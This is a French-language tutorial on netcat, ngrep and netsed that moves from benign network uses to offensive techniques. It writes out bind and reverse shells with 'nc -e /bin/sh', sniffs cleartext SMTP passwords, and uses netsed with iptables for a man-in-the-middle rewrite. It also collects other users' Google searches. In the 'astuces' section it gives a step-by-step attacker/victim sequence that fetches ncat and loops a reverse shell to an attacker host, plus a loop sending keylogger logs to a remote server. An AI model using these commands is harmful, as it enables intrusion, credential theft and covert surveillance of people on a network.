0x01. PRESENTATION
NetCAT - nc :
Netcat - cat pour les réseaux - est à la base un client serveur, sur le protocol TCP et UDP. Avec le temps il a évolué et se décline désormais en 3 versions, une version modifiée par la communauté Fedora (ex- Red Hat), la version de la communauté Debian mais aussi la version développée par la communauté Nmap. Les différences sont assez flagrantes, nous les verrons plus tard.
# nc.traditional # Commande : nc -h [v1.10-36] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] # nc.redhat # Commande : nc usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] # nc.nmap # Commande : ncat --version Ncat version 4.85BETA8 ( http://nmap.org/ncat )
NetGREP - ngrep :
Netgrep - grep pour les réseaux - est un sniffeur sur les protocoles de la 3ème et 4ème couche du modèle OSI (3: IP, ICMP ; 4: TCP, UDP, GRE, ...). Il permet d'effectuer des opérations dit de "matching de pattern" - en français de correspondance de motifs, de la même manière que grep.
NetSED - netsed :
Netsed - network sed - permet tout comme sed, de modifier une chaine selon un motif. Appliqué dans les couches 3 et 4 du modèle OSI, et donc peut par exemple modifier le contenu d'une page à la volée.
0x02. MANIPULATION
Cette partie de l'article, décrira à travers des mini-scénarii la façon et le pourquoi utiliser les outils précédemment décrits.
0x03. NETCAT
Je veux tchatter avec mon ami, mais je dois le faire à tarvers une connexion SSH, je n'ai donc aucune interface graphique, je n'ai pas les droits suffisants pour installer un logiciel de messagerie, tels finch ou irc. Je vais donc utiliser un outil déjà présent (comme par hasard, netcat). Je suis sur une DMZ, donc je peux être utilisé en serveur...
# Pour les distributions issues de la branche Red Hat (Fedora, Centos, ...) nc -l 4444 # Pour les distributions issues de la branche Debian (Ubuntu, Knopping, ...) nc -l -p 4444 nc -lp 4444 # Pour la version d'Insecure ncat -l 4444
...mais je préferais crypter ma communication, je dois utiliser cryptcat
Côté serveur :
cryptcat -k "Mot2P@55" -l -p 65533
Côté client :
cryptcat -k "Mot2P@55" 127.0.0.1 65533
Maintenant je souhaite donner la possibilité à mon ami de se connecter sur un shell ( ceci n'est possible que pour NetCat en version Debian/Traditionnel ) :
Côté serveur :
nc -lp 4444 -e /bin/sh
Côté client :
On se connecte :
nc 127.0.0.1 4444
On liste les fichier à la racine du poste client, depuis le serveur :
ls /
Nous avons en sortie :
bin boot cdrom dev etc home initrd lib lost+found media mnt opt pentest proc root sbin selinux sys tmp usr var
Mais ce qui est 'rigolo' avec netcat (en version traditionnelle et nmap.org), c'est qu'il est possible de faire du connect-back, c'est à dire que c'est le client qui propose le programme à exécuter au serveur, c'est le serveur qui se connecte sur le client. Ce cas peut être utile pour outrepasser des règles de firewall sur le serveur existent, ou pour prendre la main sur son poste, depuis un serveur :
iptables -I INPUT -p tcp --sport 2000:10000 --dport 80 -j ACCEPT
Côté serveur :
nc -lp 80
Côté client :
On se connecte :
nc 127.0.0.1 80 -p 4444 -e /bin/sh
Côté serveur :
On peut obtenir liste les fichier à la racine :
ls /
Nous avons en sortie :
bin boot cdrom dev etc home initrd lib lost+found media mnt opt proc root sbin sys tmp usr var
Rappel rapide du principe de connexions sur un réseau TCP/IP : CONNECT: connexion classique, oà le client se connecte au serveur ======= Client Serveur 4567 ------ S ------> 4444 4567 <----- SA ------ 4444 4567 ------ A ------> 4444 CONNECT BACK: c'est le serveur qui se connect sur le client ============ Client Serveur 4567 <----- S ------- 4444 4567 ------ SA -----> 4444 4567 <----- A ------- 4444
0x04. NGREP
Maintenant nous voyons qu'un serveur SMTP est disponible sur le réseau de l'école, nous aimerions intercepter les communications mais en plus modifier le contenu des champs. Avec ngrep nous pouvons voire les mots de passe en claire :
ngrep -i "pass" -d eth0
Un cas bien plus souvent rencontré, la récupération de fichier .flv sur internet - c'est plus par défi, puisqu'ils sont en réalité dans /tmp sous la forme FlashXXXXX. (X étant un caractère aléatoire de a à z, A à Z et de 0 à 9)
ngrep -i "\\.flv" -d eth0
0x05. NETSED
Soit la ligne de commande suivante :
netsed tcp 192.168.5.12:24 192.168.5.253 25 's/nicolas/usurpateur/1'
Mais pour que cela soit réellement utile il nous faut rediriger les communications allant vers 192.168.5.253 sur le port 25, sur le port 24. Ainsi, en plus d'avoir à faire une attaque de "l'homme du milieu" (man in the middle) il nous faut faire une redirection de port (port redirect), utilisons pour cela la table de routage PREROUTING (sous Windows il y a des programmes qui font ceci, Google:"port redirect") :
iptables -I PREROUTING -t nat -p tcp --dport 25 -j REDIRECT --to-port 24
En réalité les connexions se font ainsi :
PORT REDIRECT ============= 192.168.9.129:56789 ------- SYN ------> 192.168.9.1:25 192.168.9.1:25 --- prerouting ---> 192.168.9.1:24 192.168.9.129:56789 <---- SYN/ACK ----- 192.168.9.1:25 192.168.9.129:56789 ------- ACK ------> 192.168.9.1:25 192.168.9.1:25 --- prerouting ---> 192.168.9.1:24
Alors que point de vue des paquets :
interface: vmnet1 (192.168.9.0/255.255.255.0) # T 192.168.9.129:38376 -> 192.168.9.1:25 [S] # T 192.168.9.1:25 -> 192.168.9.129:38376 [AS] # T 192.168.9.129:38376 -> 192.168.9.1:25 [A] # T 192.168.9.129:38376 -> 192.168.9.1:25 [AP] QUIT.
Maintenant si le client et le serveur sont la même adresse IP, on peut visualiser les opérations de transit que fait netsed :
interface: vmnet1 (192.168.9.0/255.255.255.0) # T 192.168.9.1:38376 -> 192.168.9.1:25 [S] # T 192.168.9.1:25 -> 192.168.9.1:38376 [AS] # T 192.168.9.1:38376 -> 192.168.9.1:25 [A] //--- Ce qui se passe en interne : --------- # T 192.168.9.1:39767 -> 192.168.9.1:1025 [AP] HELO. # T 192.168.9.1:1025 -> 192.168.9.1:39767 [A] //------------------------------------------ # T 192.168.9.1:38376 -> 192.168.9.1:25 [AP] QUIT.
En se référant aux cours en réseaux sur le routage des paquets au sein du noyau Linux, entre les tables NAT et les entrées/sorties du noyau, le protocol décrit ci-dessus se dessinerait de la mnière suivante :
----------------------------------------------------------- PREROUTING POSTROUTING 25 >................ ...................> 25 . . -----------+ . +-------------------+ . +--------------- | . | | . | | | | | | I | | O | | N | | U | | P | | T | | U | | P | | T | | U | | | | T | | . | | . | V A 24 >--- netsed ---> 25
0x06. ASTUCES
Une très belle astuce vue dans le Linux Magazine Hors Série nÂ?42, consiste à la collecte de requêtes Google. Utile pour surveiller un réseau. Je me suis permis d'en faire une version modifiée :
FILE="capture" LAN="192.168" ngrep -q -t -W none -I "$FILE" | \\ grep -v "[?&q]=&" | \\ sed 's/\\([&?]q=[-a-zA-Z0-9+%\\.\\*()]\\{1,100\\}\\).*/\\1/ ; s/.*[&?]q=/SEARCH:/' | \\ grep -B 1 -E "$LAN|^SEARCH" | \\ ./rawurldecode # PS1: les | canalisent une commande dans une autre, c'est ce qu'on appelle un "tube" # PS2: les \\ échappe un saut de ligne pour permettre les commandes multi-lignes
Décodons la ligne de commande concernant ngrep :
ngrep -q -t -W none -I "$FILE" -q : mode silencieux, n'affiche pas les paquets vides (SYN, SYN/ACK ...) -t : affiche l'heure et la date -W : n'affiche que les données qui correspondent -I : lit le fichier de capture
Puis les commandes canalisées :
| grep -v "[?&q]=&" \\ # Enlève (-v) les requêtes Google vides (q=&) | sed 's/\\([&?]q=[-a-zA-Z0-9+%\\.\\*()]\\{1,100\\}\\).*/\\1/ ; s/.*[&?]q=/SEARCH:/' \\ # On transforme [quelquechose1]q=[quelquechose2] en # SEARCH: [quelquechose2] | grep -E -B 1 "^SEARCH|$LAN" # Affiche une ligne précédant le motif recherché, exemple: # echo -e "Saut1\\nSaut2\\nMatch" | grep -B 1 "Match" # affiche: # Saut2 # Match | /opt/bin/rawurldecode \\ # Décode %74%65%73%74 en test # il s'agit en fait d'un script PHP
Voici la source de rawurldecode :
#!/opt/lampp/bin/php <?php while( $line=fgets(STDIN) ) { echo str_replace( '+',' ', utf8_decode(rawurldecode($line)) ); } ?>
La deuxième astuce se fera selon ces étapes :
- Le serveur sera en écoute sur le port 80 et les commandes passeront par ce port
- Le serveur (attaquant) utilisera netcat en écoute sur le port 443 et propose la version de NetCat d'Insecure
- Le client (victime) se connect sur le serveur, sur le port 443, et récupère ncat
- Le client (victime) se connect sur le serveur, sur le port 80, et permet au serveur d'exécuter des commandes arbitraire sur le poste client (victime) :
# Terminal 1 - Serveur ncat -l 80 # Terminal 2 - Serveur # Attention au SHELL utilisé ! ncat -l 443 < $(which ncat) # Terminal 3 - Client/Victime S="192.168.0.1" F="$HOME/.nc$RANDOM" nc $S 443 > "$F" while [ 1 ] ; do "$F" $S 80 -e $SHELL ; sleep 1 ; done
Enfin, la dernière astuce pourrait servir pour un programme de surveillance à distance, par exemple, une fois un keylogger installé, il suffirait alors d'utiliser netcat pour envoyer régulièrement les logs sur un serveur dédié :
SERVEUR="192.168.0.1" while [ 1 ] ; do nc $SERVEUR 80 < "$FICHIER_LOG" ; sleep 1 ; done
Il peut être arrangeant de mettre le bit SUID ou SGID à NetCat ou NetGrep (NetSed étant, beaucoup moins utilisé) pour permettre l'écoute sur un port réservé (<1024)
0x07. CONCLUSION
Aussi utile dans l'administration, que dans la sécurité, ce packs d'outils se révèle aussi pratique que dangeruex. Pour résumer, netcat est un client-serveur, ngrep un sniffeur et netsed un proxy. NetCat peut être comme étant un trojan par certain virus (de par ces caractèristiques de client/serveur).
=> Écrit par : Nicolas, le 30 mai 2009